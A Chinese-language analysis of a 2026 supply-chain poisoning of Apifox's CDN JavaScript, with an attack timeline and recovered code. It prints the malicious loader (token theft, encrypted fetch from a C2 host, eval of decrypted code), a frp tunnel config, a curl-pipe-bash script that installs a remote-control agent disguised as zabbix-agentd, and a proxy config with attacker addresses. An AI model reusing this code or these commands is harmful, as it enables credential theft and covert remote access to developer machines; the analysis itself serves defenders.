从无差别攻击到APT定向攻击：Apifox供应链投毒攻击链路完整剖析

2026-03-04  ├─ 攻击者上线恶意域名 apifox.it[.]com
            ├─ NS记录指向Cloudflare CDN
            └─ CDN文件开始被投毒

2026-03-04  ├─ 攻击活跃期开始
            ├─ 受感染客户端连接Electron C2服务器
            ├─ 下发Stage-2 v1载荷（collectPreInformations）
            │   └─ 窃取SSH密钥、Git凭证、Shell历史、进程列表
            ├─ 下发Stage-2 v2载荷（collectAddInformations）
            │   └─ 窃取K8s配置、npm Token、SVN凭证、目录结构
            └─ 持续信息窃取与远程控制
                └─ 包括可能下发yfrp隧道穿透工具、rc-agent远控建立持久化后门

2026-03-22  └─ C2域名 apifox.it.com DNS解析下线
2026-03-25  └─ 2Libra社区用户发布Apifox投毒预警
2026-03-25  └─ Apifox官方发布《关于 Apifox 公网 SaaS 版外部 JS 文件受篡改的风险提示与升级公告》

<!-- 162行: 远程CDN脚本加载 -->
<script src="https://cdn.apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js" defer="defer"></script>

<script>
// 336-340行: 直接require Electron模块
const electron = require('electron');
const webUtils = electron.webUtils;

// 354-356行: 使用@electron/remote获取主进程窗口对象
const remote = window.require('@electron/remote');
const win = remote.getCurrentWindow();

// 370行: 访问Node.js原生模块
const osVersion = require('os')?.release();

// 399行: 使用IPC与主进程通信
require('electron').ipcRenderer.send('WindowAction.EnsureWindowUnMaximize');
</script>

// 内嵌的 RSA 私钥
constPRIVATE_KEY=`-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOPeHTeyrblELD
...
-----END PRIVATE KEY-----`;

// 客户端加密外发数据
functionrsaEncrypt(plaintext){
return crypto.privateEncrypt(
{ key:PRIVATE_KEY, padding: crypto.constants.RSA_PKCS1_PADDING},
        Buffer.from(plaintext,'utf8')
).toString('base64');
}

// 解密C2下发的载荷
functionrsaDecrypt(encryptedBase64){
// 按256字节分块解密
for(let i =0; i < encryptedBuffer.length; i +=256){
        chunks.push(
            crypto.privateDecrypt(
{ key:PRIVATE_KEY, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING},
                encryptedBuffer.slice(i, i +256)
)
);
}
return Buffer.concat(chunks).toString('utf8');
}

asyncfunctiongetApifoxHeaders(){
// 从localStorage窃取登录token
const accessToken = localStorage.getItem('common.accessToken');

// 调用Apifox官方API获取用户信息
const response =awaitfetch('https://api.apifox[.]com/api/v1/user',{
        headers:{'authorization': token }
});

const data =await response.json();

return{
'af_apifox_user':rsaEncrypt(data.data.email),
'af_apifox_name':rsaEncrypt(data.data.name)
};
}

┌─────────────────────────────────────────────────────────────┐
│  1. 初始化阶段                                                │
├─────────────────────────────────────────────────────────────┤
│  Apifox启动 → 加载CDN JS → 执行恶意代码 → 立即调用            │
│  loadAndExecute()                                            │
└─────────────────────────────────────────────────────────────┘
│
↓
┌─────────────────────────────────────────────────────────────┐
│  2. 信息收集阶段                                              │
├─────────────────────────────────────────────────────────────┤
│  getBaseHeaders() → 检查缓存                                 │
│       ↓ (无缓存)                                             │
│  生成机器指纹 (MAC+CPU+主机名+用户名+OS) → SHA-256哈希         │
│       ↓                                                      │
│  持久化到 localStorage (_rl_mc, _rl_headers)                 │
│       ↓                                                      │
│  getApifoxHeaders() → 窃取token → 调用官方API获取用户信息      │
│       ↓                                                      │
│  构建 headers (af_uuid, af_os, af_user, af_name,             │
│               af_apifox_user, af_apifox_name)                │
└─────────────────────────────────────────────────────────────┘
│
↓
┌─────────────────────────────────────────────────────────────┐
│  3. C2通信阶段                                                │
├─────────────────────────────────────────────────────────────┤
│  fetch(REMOTE_JS_URL, { headers })                           │
│       ↓                                                      │
│  获取RSA加密的响应体                                          │
│       ↓                                                      │
│  rsaDecrypt(encryptedCode) → 按256字节分块解密                │
│       ↓                                                      │
│  eval(decryptedCode) ⚠️ 执行任意NodeJS代码                    │
└─────────────────────────────────────────────────────────────┘
│
↓
┌─────────────────────────────────────────────────────────────┐
│  4. 持久化循环                                                │
├─────────────────────────────────────────────────────────────┤
│  finally { scheduleNext() }                                  │
│       ↓                                                      │
│  setTimeout(loadAndExecute, randomInterval)                  │
│       ↓                                                      │
│  30分钟~3小时后重复执行...                                    │
└─────────────────────────────────────────────────────────────┘

async function loadAndExecute() {
    const response = await fetch(REMOTE_JS_URL, { headers });
    const encryptedCode = (await response.text()).trim();
    const decryptedCode = rsaDecrypt(encryptedCode);
    eval(decryptedCode);  // 任意代码执行
}

serverAddr ="upgrade.feishu.it[.].com"
serverPort = 443
transport.protocol = "wss"
transport.tls.certFile = "client.crt"
transport.tls.keyFile = "client.key"
transport.tls.trustedCaFile = "ca.crt"
log.to = "close"
user = "%s"

[[proxies]]
name = "admin"
type = "stcp"
sk = "%s"
[proxies.plugin]
type = "admin_api"

连接加密钱包 → 签名认证 → 获取管理权限
    ↓
查看用户列表 → 筛选高价值目标（主机名、IP、操作系统）
    ↓
为目标创建代理隧道（SOCKS5/STCP/文件系统）
    ↓
复制访问命令 → 连接frp隧道 → 访问受害者内网资源

#!/bin/bash
# Remote Control Agent - Binary Upgrade Script (No root required)
# Downloads the latest agent binary and runs it in background
# Usage: curl -fsSL https://cdn.openroute.dev/scripts/upgrade.sh | bash

CDN_BASE="http://cdn.openroute.dev"
SERVICE_NAME="zabbix-agentd"

# Detect OS and architecture
OS=$(uname -s | tr '[:upper:]' '[:lower:]')
ARCH=$(uname -m)

BINARY_NAME="rc-agent-${OS}-${ARCH}"

# Download binary to /tmp/.zabbix-agentd-{timestamp}
TMP_FILE="/tmp/.${SERVICE_NAME}-$(date +%Y%m%d%H%M%S)"

# Run in background with nohup
curl -fsSL "${CDN_BASE}/releases/${BINARY_NAME}" -o "$TMP_FILE"
chmod755"$TMP_FILE"
nohup"$TMP_FILE"> /dev/null 2>&1&

/7Rui2YTkx91Goi/Lv4yrIGPpWHVZkHkotI1P0Ey7fgCrOsdRt0fj8LAMsaJ5UaKRIxUYZe652FHFdAfuAbbvMBajh30TNmaFskrNe8uLxBZaNZHV8+0TxwD4OEXDhuObt40e4cWp6SYE9xVF9s=

{
"log":{"loglevel":"none"},
"outbounds":[{
"protocol":"vless",
"settings":{
"vnext":[{
"address":"13.192.249.162",
"port":443,
"users":[{
"encryption":"none",
"flow":"",
"id":"af53e352-919c-4db0-9f7a-2a85bc977821"
}]
}]
},
"streamSettings":{
"network":"tcp",
"realitySettings":{
"fingerprint":"chrome",
"publicKey":"E-wRzXpIL97zzC3PQUBgutslJy2a2kuvat4lpFq4znQ",
"serverName":"system.toshinkyo.or.jp",
"shortId":"a27fbeba"
},
"security":"reality"
}
}]
}